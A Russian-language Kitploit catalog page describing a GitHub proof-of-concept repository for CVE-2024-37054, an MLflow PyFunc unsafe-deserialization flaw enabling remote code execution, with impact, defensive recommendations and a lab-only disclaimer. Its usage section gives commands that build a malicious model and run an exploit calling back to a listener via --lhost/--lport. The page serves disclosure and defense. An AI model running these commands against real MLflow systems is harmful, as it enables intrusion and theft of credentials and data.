Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-37054-PoC — Репозиторий proof-of-concept и исследований для CVE-2024-37054 — уязвимости небезопасной десериализации при загрузке моделей MLflow PyFunc, которая может привести к удалённому выполнению кода. | Kitploit
Инструменты/GitHubGitHub/clearlotus-git/cve-2024-37054-poc
Оборонительные ИнструментыАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеМашинное ОбучениеОбучение и ОбразованиеБезопасность ИИ
GitHubclearlotus-git/cve-2024-37054-poc

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

CVE-2024-37054-PoC

Репозиторий proof-of-concept и исследований для CVE-2024-37054 — уязвимости небезопасной десериализации при загрузке моделей MLflow PyFunc, которая может привести к удалённому выполнению кода.

Репозиторий
4 ч 39 мин назадЕщё не проверено
Поделиться

MLflow Unsafe Deserialization

CVE-2024-37054

Обзор

Этот репозиторий документирует исследование CVE-2024-37054 — проблемы небезопасной десериализации, затрагивающей обработку моделей MLflow PyFunc.

В уязвимых версиях MLflow загрузка недоверенной модели PyFunc может привести к тому, что логика десериализации Python обработает сериализованный объект, содержащий поведение, контролируемое злоумышленником. При загрузке недоверенного артефакта код может выполниться с правами пользователя или сервиса, выполняющего операцию загрузки модели.

Уязвимые версии, указанные в публичных рекомендациях, включают:

root@kitploit:~
MLflow 0.9.0 through 2.14.1

Риск

Основной риск заключается не просто в «загрузке модели». Опасность возникает, когда приложение, аналитик, воркер или ML-платформа загружает недоверенный сериализованный артефакт модели.

Потенциальное воздействие включает:

  • Удалённое выполнение кода в контексте клиента, воркера или сервиса MLflow
  • Раскрытие переменных окружения, учётных данных, токенов и локальных файлов
  • Несанкционированный доступ к подключённым хранилищам моделей, базам данных и внутренним сервисам
  • Модификацию моделей, экспериментов или метаданных реестра
  • Перемещение из ML-инфраструктуры в другие подключённые среды

Содержимое репозитория

root@kitploit:~
build_model.py

Создаёт контролируемый тестовый артефакт модели для использования в частной авторизованной лабораторной среде.

root@kitploit:~
exploit.py

Приватная автоматизация proof-of-concept, используемая только для проверки пути эксплуатации уязвимости в авторизованной тренировочной среде. Этот репозиторий не содержит реальных целей, учётных данных, сессионных токенов, файлов конфигурации VPN или деструктивных полезных нагрузок.

Использование

Запускайте этот proof of concept только в авторизованной лабораторной среде.

1. Сборка тестовой модели

Создайте контролируемый артефакт модели:

root@kitploit:~
python3 build_model.py --lhost <YOUR_IP> --lport 4444

2. Запуск с автоматической регистрацией учётной записи

Если у вас ещё нет аутентифицированной сессии, используйте режим автоматической регистрации:

root@kitploit:~
python3 exploit.py --lhost <YOUR_IP> --lport 4444 --atoz

Этот режим создаёт временную лабораторную учётную запись, аутентифицируется в приложении и продолжает работу с процессом регистрации и проверки модели.

3. Запуск с существующей сессией

Если у вас уже есть действительная авторизованная сессия, передайте её напрямую:

root@kitploit:~
python3 exploit.py \
  --lhost <YOUR_IP> \
  --lport 4444 \
  --session "<SESSION_TOKEN>"

Замените:

  • <YOUR_IP> на IP-адрес, доступный с авторизованной лабораторной цели.
  • 4444 на порт прослушивания, используемый в вашей лаборатории.
  • <SESSION_TOKEN> на значение вашей активной авторизованной сессии.

Никогда не публикуйте реальные сессионные токены, учётные данные, файлы VPN, адреса целей или детали обратных вызовов.

Рекомендации по защите

Организациям, использующим MLflow, следует рассматривать артефакты моделей как недоверенный ввод, если их происхождение и целостность не проверены.

Рекомендуемые меры защиты:

  • Не загружайте недоверенные сериализованные артефакты моделей PyFunc или на основе pickle.
  • Ограничивайте права на загрузку, регистрацию, версионирование и загрузку моделей, используя принцип наименьших привилегий.
  • Изолируйте рабочие нагрузки MLflow в контейнерах без прав root или в ограниченных средах воркеров.
  • Ограничивайте исходящий сетевой доступ из инфраструктуры загрузки моделей и обучения.
  • Избегайте размещения секретов в переменных окружения, доступных заданиям обработки моделей.
  • Ведите журнал загрузок моделей, действий в реестре, доступа к артефактам и аномальной активности подпроцессов.
  • Отслеживайте рекомендации по безопасности MLflow и используйте поддерживаемые, актуальные версии программного обеспечения.

Отказ от ответственности

Этот проект предназначен только для защитных исследований, обучения и авторизованного тестирования безопасности. Рабочий процесс proof-of-concept оценивался исключительно в контролируемой тренировочной среде. Не тестируйте эту уязвимость против систем, учётных записей, сервисов или сетей без явного письменного разрешения.

Скачать инструмент